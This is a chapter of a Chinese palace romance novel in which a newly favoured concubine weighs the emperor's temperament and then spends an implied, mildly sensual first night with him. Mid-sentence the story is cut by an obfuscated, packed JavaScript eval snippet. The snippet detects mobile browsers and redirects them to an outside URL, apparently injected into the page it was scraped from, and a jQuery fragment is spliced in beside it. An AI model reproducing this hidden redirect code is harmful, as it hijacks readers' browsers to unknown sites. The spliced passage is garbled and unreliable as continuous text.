人常说见微知著,薄予诗想了想今日与皇上的初见,她觉得,她们的这位帝王,除了心思深,还极有主见,所以才将寝宫布置的如此简单。 人在睡觉的时候往往最脆弱,所以会将睡觉的地方布置成令自己最舒适的样子以求安枕。皇上的寝宫不光灯光昏暗,偌大的殿内几乎没有什么装饰,这便说明他心思重,防备心强,恐怕还极为不喜内心暴露在任何人面前。 薄予诗遍览诗书,所以深刻的知道,古往今来没有哪个有功绩的皇帝不是多疑警惕,心思深沉更是必备的特征,若不是如此,如何保得住江山宝座? 所以—— 薄予诗大胆地猜测,盈妃和琅嫔之所以得宠,或许还有一个原因,那便是皇上十分不喜自作聪明的人,更不喜拐弯抹角的人。 他是皇帝,是九五之尊,一个有能力又足够狠心的皇帝,绝对不需要身边的女人多么聪慧无双,智计超群。即使她有些聪明,有些手段,足以在后宫保全自己,也有办法讨他欢心,可她一定不能是个复杂的人,所谋甚多的人。 他来后宫,要的,就是那份简单。 意识到这点,薄予诗暗暗吸了一口气。 不是自夸,她便是太聪明了。在另一个聪明人眼里,她的聪明若伪装得不够好很容易被人看穿。 可一直伪装总有露馅的时候,为了不让皇上察觉后厌烦,她能做的,反而最好是不伪装。 这般惴惴不安地想着,薄予诗竟没发觉门何时被拉开的,皇上已经回来了,还是身前笼罩了漆黑的影子,她才抬眼看过去,正瞧见皇上垂眸看着她。 她忙从床榻上起身行礼:“妾身给皇上请安。” “想什么呢?这么出神。”温玄戈撩袍坐到床沿去,很随和地拍了拍身侧的位置,“朕进来你都没听见。” 薄予诗没继续跪着,乖巧地坐过去,声软:“妾身等久了,有些困,还请皇上恕罪。” 初次侍寝的嫔妃哪个不是使劲浑身解数,不管再晚都安安分分盼着他回来。即使是盈妃,侍寝的时候再困也不会这样直言不讳。 温玄戈听惯了解释,乍一听实话,觉得颇为新鲜。 知道她大胆,没成想到都到床上了还如此心直口快。困就是困,但错了认罚也快,加上她楚楚动人的模样、温软如绵的嗓音,还真让人生不起气来。 温玄戈笑了声,垂眼打量她,甚少有嫔妃侍寝的时候打扮得如此“寡淡”。 既不擦任何脂粉,也不涂香露,连身上的寝衣都是最简单的款式,可便是如此,在她身上却不觉得简陋,反而有种天然去雕饰的素净之美。 此时她微微仰头看过来,那张摄人心魄的脸又让人觉得艳极了,眼睛好像会说话一般,反而比华衣锦妆的她美得更加惊心动魄。 温玄戈不禁想起白日里见到的她,短短半日,简直判若两人。 他从不介意对能讨自己喜欢的女人多些温存,因而一时很好兴致地问:“若这会儿就困了,等会儿怎么承受朕?” “侍寝的规矩想来嬷嬷方才又教过你一遍,你该知道会发生什么。” 如此孟浪之语,即使是在夜深人静的时候说出来,也叫人面红耳赤,薄予诗何时听过这样的话?一时间竟支支吾吾说不出话来,羞臊得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553311|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抠紧了手指,一双秋水眸欲说还休,愈发盈盈。 温玄戈轻笑,将她绞在一起的手指拿起来,寝衣单薄,广袖随着他的动作垂落,露出一截雪白的藕臂,腕间的翠镯格外醒目。她此刻装扮素净,唯这一只玉镯做装饰,他知道,她这是心中欢喜,故而特意带过来给他瞧。 翡翠最挑人,唯有肌肤白皙,手又好看的人戴上才美观。温玄戈见过美人无数,最衬翡翠之人,就是薄予诗了。 他摩挲着薄予诗的手指:“既然这么喜欢,怎么就不怕磕坏了?” 薄予诗羞得偏头,任由他把玩自己的手:“您赏了妾身这么好的镯子,怎么能不亲眼瞧瞧。您的心意妾身视若珍宝,定然妥善珍藏。等您……等您看完,妾身就褪下来放到一边去,碰不坏的。” 听到接下来要发生的事,温玄戈眼神不自觉深了几分。 手中的触感细腻温热,从身侧之人身上传来淡淡的幽香,十分好闻。他不喜焚香,整个建章殿内都不许燃用香料,所以这一缕幽香格外明晰。 美人撩人如斯,温玄戈很快便起了反应,他不再忍耐,将薄予诗拥入怀中,随着一声娇呼,帷幔缓落。 伺候在殿外的宫人们垂头屏息,里头起先没什么声响,随后传来隐隐约约的哭声,再往后便是女子细碎的婉转吟哦,等又过了约莫半个时辰,里头才传来铃响。 刘康全一甩拂尘,示意进去伺候的宫女麻利些,为首的宫女脚步格外快了些许,一入内看见皇上身上的痕迹,又立刻低下头。 她们在御前伺候的时日久了,对这些令人羞臊的事司空见惯,伺候主子事后清洁也是常态。但这些年,还从未有谁如此胆大,敢在皇上身上留下欢好的痕迹。即使是多年得宠的盈妃,也只是偶然如此,那些初次侍寝的嫔妃就更不必提了,无一不是提着心神伺候。 可这位初次承宠的薄美人,瞧着端庄娴静,却敢在皇上身上留下数道红痕,偏偏皇上看起来丝毫不生气的样子。 她们不敢抬眼,谨慎着伺候将主上都清理干净,轻手轻脚地退了下去。 薄予诗初经人事,一清理干净便缩回了被窝里,羞得不愿见人。她的脸颊紧贴着皇上结实的胸膛,听里头传来有力的心跳,柔弱无骨的手攀上坚硬胸肌,轻轻摩挲着被自己挠出来的痕迹:“妾身有罪,还请皇上责罚。” 温玄戈垂头,抬指将她濡湿发丝捋到耳后,事后香汗淋漓的美人看起来更加娇媚动人。他征战沙场,身上伤疤大大小小的无数,岂会在意这一点小小痕迹。美人床榻上的动人之处,情到深处自然如此。 薄予诗当然知道皇上对此受用非常,否则也不会方才那么卖力,非要把她弄哭了去。她这么说,不过是故意讨好他罢了。 夜已深了,明日还得去给皇后请安,少不得众人要把目光对准她,早早睡下才是正理。 薄予诗掩面打了个呵欠,眼皮子已经沉重起来,迷迷糊糊中听见外头有人叩门,似说了什么。而后皇上又说了几句,她实在困极了没听清,一夜无梦,拥被到天亮。